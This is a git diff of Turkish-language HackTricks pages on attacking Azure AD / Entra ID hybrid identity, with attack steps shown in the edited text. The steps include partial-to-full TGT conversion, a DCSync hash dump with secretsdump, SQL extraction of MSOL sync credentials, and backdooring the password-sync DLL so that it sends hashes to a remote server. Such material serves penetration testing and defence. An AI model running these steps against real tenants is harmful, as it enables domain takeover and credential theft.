en az bir **hibrit kullanıcı hesabı** (hem AD hem de AAD'de mevcut) vardır. Bu, kimlik bilgilerini bilerek veya sıfırlayarak veya ona bir parolasız yöntem (örneğin, Geçici Erişim Geçidi) atayarak bir Birincil Yenileme Jetonu (PRT) oluşturmakla elde edilebilir. -- Varsayılan RODC "reddet" politikasında *olmayan* yüksek ayrıcalıklara sahip bir **on-prem AD hedef hesabı**. Pratikte, harika bir hedef **AD Connect senkronizasyon hesabı**dır (genellikle **MSOL_*** olarak adlandırılır), bu hesap AD'de DCSync (çoğaltma) haklarına sahiptir ancak genellikle yerleşik yönetici gruplarının bir üyesi değildir. Bu hesap genellikle Entra ID'ye senkronize edilmez, bu da onun SID'sinin çatışma olmadan taklit edilmesini sağlar. +- Varsayılan RODC "reddet" politikasında *olmayan* yüksek ayrıcalıklara sahip bir **yerel AD hedef hesabı**. Pratikte, harika bir hedef **AD Connect senkronizasyon hesabı**dır (genellikle **MSOL_*** olarak adlandırılır), bu hesap AD'de DCSync (çoğaltma) haklarına sahiptir ancak genellikle yerleşik yönetici gruplarının bir üyesi değildir. Bu hesap genellikle Entra ID'ye senkronize edilmez, bu da onun SID'sinin çatışma olmadan taklit edilmesini sağlar. **Saldırı Adımları:** @@ -40,30 +40,30 @@ python3 modifyuser.py -u -p \ ``` > Kullanıcının `sourceAnchor` (değiştirilemez ID) değeri, değiştirilmesi gereken Azure AD nesnesini tanımlamak için gereklidir. Araç, hibrit kullanıcının yerel SID'sini ve SAM hesap adını hedefin değerleriyle (örneğin, MSOL_xxxx hesabının SID'si ve SAM'ı) ayarlar. Azure AD genellikle bu niteliklerin Graph üzerinden değiştirilmesine izin vermez (okunabilir), ancak senkronizasyon hizmeti API'si buna izin verir ve Global Yöneticiler bu senkronizasyon işlevselliğini çağırabilir. -3. **Azure AD'den Kısmi TGT Alın:** Değişiklikten sonra, hibrit kullanıcı olarak Azure AD'ye kimlik doğrulaması yapın (örneğin, bir cihazda PRT alarak veya kimlik bilgilerini kullanarak). Kullanıcı oturum açtığında (özellikle bir etki alanına katılmış veya Entra katılmış Windows cihazında), Azure AD bu hesap için **kısmi Kerberos TGT (TGT****AD**) verir çünkü Cloud Kerberos Trust etkinleştirilmiştir. Bu kısmi TGT, AzureADKerberos$ RODC anahtarı ile şifrelenmiştir ve ayarladığımız **hedef SID**'yi içerir. Bunu, ROADtools aracılığıyla kullanıcı için bir PRT talep ederek simüle edebiliriz: +3. **Azure AD'den Kısmi TGT Alın:** Değişiklikten sonra, hibrit kullanıcı olarak Azure AD'ye kimlik doğrulaması yapın (örneğin, bir cihazda PRT alarak veya kimlik bilgilerini kullanarak). Kullanıcı oturum açtığında (özellikle bir alan bağlı veya Entra bağlı Windows cihazında), Azure AD, Cloud Kerberos Trust etkin olduğu için bu hesap için **kısmi Kerberos TGT (TGT****AD**) verir. Bu kısmi TGT, AzureADKerberos$ RODC anahtarı ile şifrelenmiştir ve ayarladığımız **hedef SID**'yi içerir. Bunu, ROADtools aracılığıyla kullanıcı için bir PRT talep ederek simüle edebiliriz: ```bash roadtx getprt -u -p -d ``` Bu, kısmi TGT ve oturum anahtarını içeren bir `.prt` dosyası oluşturur. Hesap yalnızca bulut parolasıysa, Azure AD yine de PRT yanıtında bir TGT_AD içerir. -4. **Kısmi TGT'yi Tam TGT ile Değiştirme (AD'de):** Kısmi TGT artık hedef hesap için **tam TGT** almak üzere yerel Alan Denetleyicisi'ne sunulabilir. Bunu, `krbtgt` hizmeti (alanın birincil TGT hizmeti) için bir TGS isteği gerçekleştirerek yapıyoruz -- temelde bileti tam bir PAC ile normal bir TGT'ye yükseltiyoruz. Bu değişimi otomatikleştirmek için araçlar mevcuttur. Örneğin, ROADtools Hybrid'in betiğini kullanarak: +4. **Kısmi TGT'yi Tam TGT ile Değiştirme (AD üzerinde):** Kısmi TGT artık hedef hesap için **tam TGT** almak üzere yerel Alan Denetleyicisi'ne sunulabilir. Bunu, `krbtgt` hizmeti (alanın birincil TGT hizmeti) için bir TGS isteği gerçekleştirerek yapıyoruz -- temelde bileti tam PAC ile normal bir TGT'ye yükseltiyoruz. Bu değişimi otomatikleştirmek için araçlar mevcuttur. Örneğin, ROADtools Hybrid'in betiğini kullanarak: ```bash # Use the partial TGT from the PRT file to get a full TGT and NTLM hash python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash ``` -Bu script (veya Impacket eşdeğerleri) Domain Controller ile iletişim kuracak ve hedef AD hesabı için geçerli bir TGT alacaktır, ayrıca özel Kerberos uzantısı kullanılıyorsa hesabın NTLM hash'ini de içerecektir. **`KERB-KEY-LIST-REQ`** uzantısı, DC'den hedef hesabın NTLM hash'ini şifreli yanıtta döndürmesini istemek için otomatik olarak dahil edilir. Sonuç, hedef hesap için bir kimlik bilgisi önbelleği (`full_tgt.ccache`) veya kurtarılan NTLM parola hash'idir. +Bu script (veya Impacket eşdeğerleri) Domain Controller ile iletişime geçecek ve hedef AD hesabı için geçerli bir TGT alacaktır, ayrıca özel Kerberos uzantısı kullanılıyorsa hesabın NTLM hash'ini de içerecektir. **`KERB-KEY-LIST-REQ`** uzantısı, DC'den hedef hesabın NTLM hash'ini şifreli yanıtta döndürmesini istemek için otomatik olarak dahil edilir. Sonuç, hedef hesap için bir kimlik bilgisi önbelleği (`full_tgt.ccache`) veya kurtarılan NTLM parola hash'idir. 5. **Hedefi Taklit Et ve Domain Admin Ol:** Artık saldırgan etkili bir şekilde **hedef AD hesabını kontrol ediyor**. Örneğin, hedef AD Connect **MSOL hesabı** ise, dizin üzerinde çoğaltma haklarına sahiptir. Saldırgan, o hesabın kimlik bilgilerini veya Kerberos TGT'sini kullanarak AD'den parola hash'lerini dökmek için bir **DCSync** saldırısı gerçekleştirebilir (domain KRBTGT hesabı dahil). Örneğin: ```bash # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL ``` -Bu, tüm AD kullanıcı parolası hash'lerini döker, saldırgana KRBTGT hash'ini verir (onların istediği gibi alan Kerberos biletleri oluşturmasına izin verir) ve etkili bir şekilde **Domain Admin** ayrıcalıkları sağlar. Hedef hesap başka bir ayrıcalıklı kullanıcı olsaydı, saldırgan o kullanıcı olarak herhangi bir alan kaynağına erişmek için tam TGT'yi kullanabilirdi. +Bu, tüm AD kullanıcı parolası hash'lerini döker, saldırgana KRBTGT hash'ini verir (onların dilediği gibi alan Kerberos biletleri oluşturmasına izin verir) ve etkili bir şekilde **Domain Admin** ayrıcalıkları sağlar. Hedef hesap başka bir ayrıcalıklı kullanıcı olsaydı, saldırgan tam TGT'yi kullanarak o kullanıcı olarak herhangi bir alan kaynağına erişebilirdi. -6. **Temizlik:** İsteğe bağlı olarak, saldırgan aynı API aracılığıyla değiştirilmiş Azure AD kullanıcısının orijinal `onPremisesSAMAccountName` ve SID'sini geri yükleyebilir veya oluşturulan geçici kullanıcıyı basitçe silebilir. Birçok durumda, bir sonraki Azure AD Connect senkronizasyon döngüsü, senkronize edilmiş niteliklerdeki yetkisiz değişiklikleri otomatik olarak geri alacaktır. (Ancak, bu noktada zarar verilmiştir -- saldırgan DA ayrıcalıklarına sahiptir.) +6. **Temizlik:** İsteğe bağlı olarak, saldırgan aynı API aracılığıyla değiştirilmiş Azure AD kullanıcısının orijinal `onPremisesSAMAccountName` ve SID'sini geri yükleyebilir veya oluşturulan geçici kullanıcıyı basitçe silebilir. Birçok durumda, bir sonraki Azure AD Connect senkronizasyon döngüsü, senkronize edilen niteliklerdeki yetkisiz değişiklikleri otomatik olarak geri alacaktır. (Ancak, bu noktada zarar verilmiştir -- saldırgan DA ayrıcalıklarına sahiptir.) > [!WARNING] -> Bulut güvenini ve senkronizasyon mekanizmasını kötüye kullanarak, Azure AD'nin Global Yöneticisi, RODC politikasıyla açıkça korunmayan neredeyse *herhangi* bir AD hesabını taklit edebilir, o hesap asla bulutla senkronize edilmemiş olsa bile. Varsayılan bir yapılandırmada, bu **Azure AD ihlalinden yerel AD ihlaline tam bir güven köprüsü kurar**. +> Bulut güvenini ve senkronizasyon mekanizmasını kötüye kullanarak, Azure AD'nin Global Yöneticisi, RODC politikasıyla açıkça korunmayan neredeyse *herhangi* bir AD hesabını taklit edebilir, o hesap hiç bulut senkronize edilmemiş olsa bile. Varsayılan bir yapılandırmada, bu **Azure AD ihlalinden yerel AD ihlaline tam bir güven köprüsü kurar**. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md similarity index 59% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 423bd263b..dae3fe565 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -**Cloud Sync**, Azure'ın **kullanıcıları AD'den Entra ID'ye senkronize etme** için yeni bir yoludur. +**Cloud Sync**, Azure'ın **kullanıcıları AD'den Entra ID'ye senkronize etmenin** yeni yoludur. [Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync, kullanıcıların, grupların ve kişilerin Microsoft Entra ID'ye senkronizasyonu için hibrit kimlik hedeflerinizi karşılamak ve başarmak üzere tasarlanmış yeni bir Microsoft teklifidir. Bunu, Microsoft Entra Connect uygulaması yerine Microsoft Entra bulut sağlama aracını kullanarak gerçekleştirir. Ancak, Microsoft Entra Connect Sync ile birlikte de kullanılabilir. @@ -12,43 +12,43 @@ Bunun çalışabilmesi için hem Entra ID'de hem de On-Premise dizininde bazı prensipler oluşturulur: -- Entra ID'de `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) adlı kullanıcı, **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) rolü ile oluşturulur. +- Entra ID'de **`Directory Synchronization Accounts`** rolü ile **`On-Premises Directory Synchronization Service Account`** (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) kullanıcısı oluşturulur (`d29b2b05-8046-44ba-8758-1e26182fcf32`). > [!WARNING] -> Bu rol, birçok ayrıcalıklı izne sahipti ve [**küresel yöneticiliğe kadar ayrıcalıkları artırmak için kullanılabiliyordu**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ancak, Microsoft bu rolün tüm ayrıcalıklarını kaldırmaya ve sadece **`microsoft.directory/onPremisesSynchronization/standard/read`** adlı yeni bir rol atamaya karar verdi; bu rol, bir kullanıcının parolasını veya niteliklerini değiştirmek ya da bir SP'ye yeni bir kimlik bilgisi eklemek gibi herhangi bir ayrıcalıklı eylem gerçekleştirmeye izin vermez. +> Bu rol, birçok ayrıcalıklı izne sahipti ve [**küresel yöneticiliğe kadar ayrıcalıkları artırmak için kullanılabiliyordu**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ancak, Microsoft bu rolün tüm ayrıcalıklarını kaldırmaya ve sadece **`microsoft.directory/onPremisesSynchronization/standard/read`** adında yeni bir rol atamaya karar verdi; bu rol, bir kullanıcının şifresini veya niteliklerini değiştirmek ya da bir SP'ye yeni bir kimlik bilgisi eklemek gibi herhangi bir ayrıcalıklı eylem gerçekleştirmeye izin vermez. -- Entra ID'de ayrıca **`AAD DC Administrators`** adlı grup, üye veya sahip olmadan oluşturulur. Bu grup, [`Microsoft Entra Domain Services`](./az-domain-services.md) kullanılıyorsa faydalıdır. +- Entra ID'de ayrıca **`AAD DC Administrators`** grubu, üye veya sahip olmadan oluşturulur. Bu grup, [`Microsoft Entra Domain Services`](./az-domain-services.md) kullanılıyorsa faydalıdır. -- AD'de, ya **`provAgentgMSA`** adlı Hizmet Hesabı, **`pGMSA_$@domain.com`** gibi bir SamAccountName ile oluşturulur (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ya da [**bu izinlere sahip özel bir hesap gereklidir**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Genellikle varsayılan olanı oluşturulur. +- AD'de, ya **`provAgentgMSA`** hizmet hesabı, **`pGMSA_$@domain.com`** gibi bir SamAccountName ile oluşturulur (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ya da [**bu izinlere sahip özel bir hesap gereklidir**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Genellikle varsayılan olanı oluşturulur. > [!WARNING] -> Diğer izinlerin yanı sıra, Hizmet Hesabı **`provAgentgMSA`** DCSync izinlerine sahiptir ve **bunu ele geçiren herkesin tüm dizini ele geçirmesine izin verir**. [DCSync hakkında daha fazla bilgi için bunu kontrol edin](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Diğer izinlerin yanı sıra **`provAgentgMSA`** hizmet hesabı DCSync izinlerine sahiptir ve **bunu ele geçiren herkesin tüm dizini ele geçirmesine izin verir**. [DCSync hakkında daha fazla bilgi için bunu kontrol edin](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklar atanan diğer kullanıcılar **senkronize edilebilir**. +> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklarla atanan diğer kullanıcılar **senkronize edilebilir**. -## Parola Senkronizasyonu +## Şifre Senkronizasyonu -Bu bölüm, aşağıdaki bölümle çok benzer: +Bu bölüm, aşağıdaki ile çok benzer: {{#ref}} az-connect-sync.md {{#endref}} -- **Parola hash senkronizasyonu** etkinleştirilebilir, böylece kullanıcılar **AD'deki parolalarıyla Entra ID'ye giriş yapabilirler**. Ayrıca, AD'de bir parola değiştirildiğinde, bu Entra ID'de güncellenecektir. -- **Parola yazma geri** de etkinleştirilebilir, bu da kullanıcıların Entra ID'de parolalarını değiştirmelerine ve bununla birlikte on-premise alanındaki parolalarının otomatik olarak senkronize edilmesine olanak tanır. Ancak, [mevcut belgelere](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre, bunun için Connect Agent kullanmak gereklidir, bu nedenle daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) göz atın. -- **Grupların yazma geri**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premises AD'ye geri senkronize edilmesine olanak tanır. Bu, bir kullanıcı Entra ID'deki bir gruba eklendiğinde, aynı zamanda AD'deki karşılık gelen gruba da ekleneceği anlamına gelir. +- **Şifre hash senkronizasyonu** etkinleştirilebilir, böylece kullanıcılar **AD'deki şifrelerini kullanarak Entra ID'ye giriş yapabilirler**. Ayrıca, AD'de bir şifre değiştirildiğinde, bu Entra ID'de güncellenecektir. +- **Şifre yazma geri** de etkinleştirilebilir, bu da kullanıcıların Entra ID'de şifrelerini değiştirmelerine ve bunun otomatik olarak on-premise alanında senkronize edilmesine olanak tanır. Ancak, [mevcut belgelere](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre, bunun için Connect Agent kullanmak gereklidir, bu nedenle daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) göz atın. +- **Grupların yazma geri**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premise AD'ye senkronize edilmesine olanak tanır. Bu, bir kullanıcı Entra ID'deki bir gruba eklendiğinde, aynı zamanda AD'deki karşılık gelen gruba da ekleneceği anlamına gelir. ## Pivotlama ### AD --> Entra ID -- AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivotlama basittir; sadece **bir kullanıcının parolasını ele geçirin veya bir kullanıcının parolasını değiştirin ya da yeni bir kullanıcı oluşturun ve Entra ID dizinine senkronize edilene kadar bekleyin (genellikle sadece birkaç dakika)**. +- AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivotlama basittir; sadece **bir kullanıcının şifresini ele geçirmeniz veya bir kullanıcının şifresini değiştirmeniz ya da yeni bir kullanıcı oluşturup Entra ID dizinine senkronize edilmesini beklemeniz yeterlidir (genellikle sadece birkaç dakika)**. Örneğin, şunları yapabilirsiniz: -- **`provAgentgMSA`** hesabını ele geçirin, bir DCSync saldırısı gerçekleştirin, bir kullanıcının parolasını kırın ve ardından bunu Entra ID'ye giriş yapmak için kullanın. -- AD'de yeni bir kullanıcı oluşturun, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın. -- AD'deki bir kullanıcının parolasını değiştirin, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın. +- **`provAgentgMSA`** hesabını ele geçirip, DCSync saldırısı gerçekleştirip, bir kullanıcının şifresini kırabilir ve ardından bunu Entra ID'ye giriş yapmak için kullanabilirsiniz. +- AD'de yeni bir kullanıcı oluşturup, Entra ID'ye senkronize edilmesini bekleyebilir ve ardından bunu Entra ID'ye giriş yapmak için kullanabilirsiniz. +- AD'deki bir kullanıcının şifresini değiştirip, Entra ID'ye senkronize edilmesini bekleyebilir ve ardından bunu Entra ID'ye giriş yapmak için kullanabilirsiniz. **`provAgentgMSA`** kimlik bilgilerini ele geçirmek için: ```powershell @@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i {{#endref}} > [!NOTE] -> Azure veya EntraID rollerini senkronize edilmiş kullanıcılara, örneğin Cloud Sync yapılandırmalarında, özelliklerine dayalı olarak verme yolu yoktur. Ancak, senkronize edilmiş kullanıcılara otomatik olarak izin vermek için bazı **AD'den Entra ID gruplarına** izinler verilebilir, böylece bu gruplardaki senkronize edilmiş kullanıcılar da bu izinleri alır veya **dinamik gruplar kullanılabilir**, bu nedenle her zaman dinamik kuralları ve bunları kötüye kullanmanın potansiyel yollarını kontrol edin: +> Azure veya EntraID rollerini senkronize edilmiş kullanıcılara, örneğin Cloud Sync yapılandırmalarında, niteliklerine dayalı olarak verme yolu yoktur. Ancak, senkronize edilmiş kullanıcılara otomatik olarak izin vermek için bazı **AD'den Entra ID gruplarına** izinler verilebilir, böylece bu gruplardaki senkronize edilmiş kullanıcılar da bu izinleri alır veya **dinamik gruplar kullanılabilir**, bu nedenle her zaman dinamik kuralları ve bunları kötüye kullanmanın potansiyel yollarını kontrol edin: {{#ref}} ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Kalıcılık ile ilgili olarak [bu blog yazısı](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html), **`C:\Program Files\Microsoft Azure AD Sync\Bin`** konumunda bulunan **`Microsoft.Online.Passwordsynchronisation.dll`** dosyasını arka kapılamak için [**dnSpy**](https://github.com/dnSpy/dnSpy) kullanılabileceğini önermektedir. Bu dosya, Cloud Sync ajanı tarafından şifre senkronizasyonu gerçekleştirmek için kullanılır ve kullanıcıların şifre hash'lerini uzaktan bir sunucuya sızdırmasını sağlar. Hash'ler **`PasswordHashGenerator`** sınıfı içinde üretilir ve blog yazısı, sınıfın şu şekilde görünmesi için bazı kodlar eklemeyi önermektedir (şifre hash'lerini sızdırmak için `use System.Net` ve `WebClient` kullanımına dikkat edin): +Kalıcılık ile ilgili olarak [bu blog yazısı](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) **`C:\Program Files\Microsoft Azure AD Sync\Bin`** konumunda bulunan **`Microsoft.Online.Passwordsynchronisation.dll`** dosyasını arka kapılamak için [**dnSpy**](https://github.com/dnSpy/dnSpy) kullanılabileceğini önermektedir. Bu dosya, Cloud Sync ajanı tarafından şifre senkronizasyonu gerçekleştirilirken kullanıcıların şifre hash'lerini uzaktaki bir sunucuya sızdırmak için kullanılmaktadır. Hash'ler **`PasswordHashGenerator`** sınıfı içinde üretilir ve blog yazısı, sınıfın şu şekilde görünmesi için bazı kodlar eklemeyi önermektedir (şifre hash'lerini sızdırmak için `use System.Net` ve `WebClient` kullanımına dikkat edin): ```csharp using System; using System.Net; @@ -127,7 +127,7 @@ Lütfen ayrıntılı uyarılar ve hatalar için Hata Listesi penceresine bakın. ### Entra ID --> AD -- Eğer **Şifre Yazma** etkinleştirildiyse, Entra ID'deki bazı kullanıcıların şifrelerini değiştirebilir ve AD ağına erişiminiz varsa, bunları kullanarak bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) bakın, çünkü şifre yazma bu ajan kullanılarak yapılandırılmıştır. +- Eğer **Şifre Yazma** etkinleştirildiyse, Entra ID'deki bazı kullanıcıların şifresini değiştirebilir ve AD ağına erişiminiz varsa, bunlarla bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) bakın, çünkü şifre yazma bu ajan kullanılarak yapılandırılmıştır. - Bu noktada Cloud Sync ayrıca **"Microsoft Entra ID'den AD'ye"** izin veriyor, ancak çok fazla zaman geçtikten sonra EntraID kullanıcılarını AD'ye senkronize edemediğini ve yalnızca şifre hash'i ile senkronize edilen ve senkronize ettiğimiz alanın aynı alan ormanına ait olan bir alandan gelen EntraID kullanıcılarını senkronize edebildiğini buldum, [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) adresinde okuyabilirsiniz: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md similarity index 83% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index 7019055c2..4ad149d83 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -42,7 +42,7 @@ Yerel bir kullanıcı bir Azure kaynağına erişmek istediğinde, **kimlik doğ ### Parola Yazma -Bu yapılandırma, bir kullanıcı Entra ID'de parolasını değiştirdiğinde **parolaları Entra ID'den AD'ye senkronize etmeye** olanak tanır. Parola yazma işleminin çalışabilmesi için, AD'de otomatik olarak oluşturulan `MSOL_` kullanıcısına [belgelerde belirtilen daha fazla ayrıcalık verilmesi](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) gerekmektedir, böylece **AD'deki herhangi bir kullanıcının parolasını değiştirebilir**. +Bu yapılandırma, bir kullanıcı Entra ID'de parolasını değiştirdiğinde **parolaları Entra ID'den AD'ye senkronize etmeye** olanak tanır. Parola yazmanın çalışabilmesi için, AD'de otomatik olarak oluşturulan `MSOL_` kullanıcısına [belgelerde belirtilen daha fazla ayrıcalık verilmesi gerekmektedir](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) böylece **AD'deki herhangi bir kullanıcının parolasını değiştirebilir**. Bu, ele geçirilmiş bir Entra ID'den AD'yi ele geçirmek için özellikle ilginçtir çünkü "neredeyse" herhangi bir kullanıcının parolasını değiştirebilirsiniz. @@ -52,7 +52,7 @@ Alan yöneticileri ve bazı ayrıcalıklı gruplara ait diğer kullanıcılar, g - **`DNSAdmins`** grubundaki kullanıcılar. - GPO'lar oluşturup bunları OUs'ye atayan **`Group Policy Creator Owners`** grubundaki kullanıcılar, oluşturdukları GPO'ları değiştirebilir. - Active Directory'ye sertifika yayınlayabilen **`Cert Publishers Group`** grubundaki kullanıcılar. -- **`adminCount` niteliği 1** olmayan yüksek ayrıcalıklara sahip herhangi bir grubun kullanıcıları. +- **`adminCount` niteliği 1** olmayan yüksek ayrıcalıklara sahip diğer gruplardaki kullanıcılar. ## AD'den Entra ID'ye Geçiş @@ -86,13 +86,13 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat **`MSOL_*`** kullanıcısının (ve oluşturulmuşsa **Sync\_\*** kullanıcısının) parolaları **SQL sunucusunda** **Entra ID Connect'in kurulu olduğu** sunucuda **saklanmaktadır.** Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\ Veritabanası `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` konumundadır. -Şifrelenmiş olan bir tablo üzerinden yapılandırmayı çıkarmak mümkündür: +Tablolardan birinden yapılandırmayı çıkarmak mümkündür, biri şifreli olmak üzere: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve on-prem AD'deki **`MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içermektedir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye yükseltilmiş erişim sağlamak mümkündür. +**Şifreli yapılandırma**, **DPAPI** ile şifrelenmiştir ve on-prem AD'deki **`MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içermektedir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye yetki yükseltmek mümkündür. -Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakışa bu konuşmada ulaşabilirsiniz](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakış bu konuşmada bulunmaktadır](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### MSOL\_\* Kullanımının Kötüye Kullanılması ```bash @@ -128,16 +128,16 @@ Bu uygulama, herhangi bir Entra ID veya Azure yönetim rolü atanmış olmadan o Bu uygulamanın SP'sinin, belgelenmemiş bir API kullanarak bazı ayrıcalıklı eylemleri gerçekleştirmek için hala kullanılabileceği belirtiliyor, ancak bildiğim kadarıyla henüz bir PoC bulunmamaktadır.\ Her durumda, bunun mümkün olabileceğini düşünerek, bu hizmet ilkesine giriş yapmak için sertifikayı nasıl bulabileceğimizi ve bunu kötüye kullanmayı araştırmak ilginç olacaktır. -Bu [blog yazısı](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), `Sync_*` kullanıcısından bu hizmet ilkesine geçişten kısa bir süre önce yayınlandı ve sertifikanın sunucu içinde saklandığını, bunun bulunabileceğini, PoP (Sahiplik Kanıtı) oluşturulabileceğini ve token grafiği ile birlikte, hizmet ilkesine yeni bir sertifika ekleyebileceğini açıkladı (çünkü bir **hizmet ilkesi** her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak sürekliliği sağlamak için kullanabilir. +Bu [blog yazısı](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), `Sync_*` kullanıcısından bu hizmet ilkesine geçişten kısa bir süre önce yayınlandı ve sertifikanın sunucu içinde saklandığını, bunun bulunabileceğini, PoP (Sahiplik Kanıtı) ve grafik token oluşturulabileceğini ve bununla birlikte hizmet ilkesine yeni bir sertifika ekleyebileceğini (çünkü bir **hizmet ilkesi** her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak sürekliliği sağlamak için kullanabileceğini açıkladı. -Bu eylemleri gerçekleştirmek için aşağıdaki araçlar yayınlanmıştır: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). +Bu eylemleri gerçekleştirmek için aşağıdaki araçlar yayınlandı: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). Deneyimlerime göre, sertifika, önceki aracın aradığı yerde artık saklanmamaktadır ve bu nedenle, araç artık çalışmamaktadır. Bu nedenle, daha fazla araştırma gerekebilir. ### Sync\_\*'yı Kötüye Kullanma [KULLANIMDIŞI] > [!WARNING] -> Daha önce, Entra ID'de `Sync_*` adında çok hassas izinlere sahip bir kullanıcı oluşturulmuştu; bu, herhangi bir kullanıcının (Global Yöneticiler dahil) şifresini değiştirmek veya bir hizmet ilkesine yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı eylemleri gerçekleştirmeye olanak tanıyordu. Ancak, Ocak 2025'ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır, çünkü artık **`ConnectSyncProvisioning_ConnectSync_`** Uygulaması/SP'si kullanılmaktadır. Ancak, bazı ortamlarda hala mevcut olabilir, bu nedenle kontrol etmeye değer. +> Daha önce Entra ID'de `Sync_*` adında çok hassas izinlere sahip bir kullanıcı oluşturulmuştu; bu, herhangi bir kullanıcının (Global Yöneticiler dahil) şifresini değiştirmek veya bir hizmet ilkesine yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı eylemleri gerçekleştirmeye izin veriyordu. 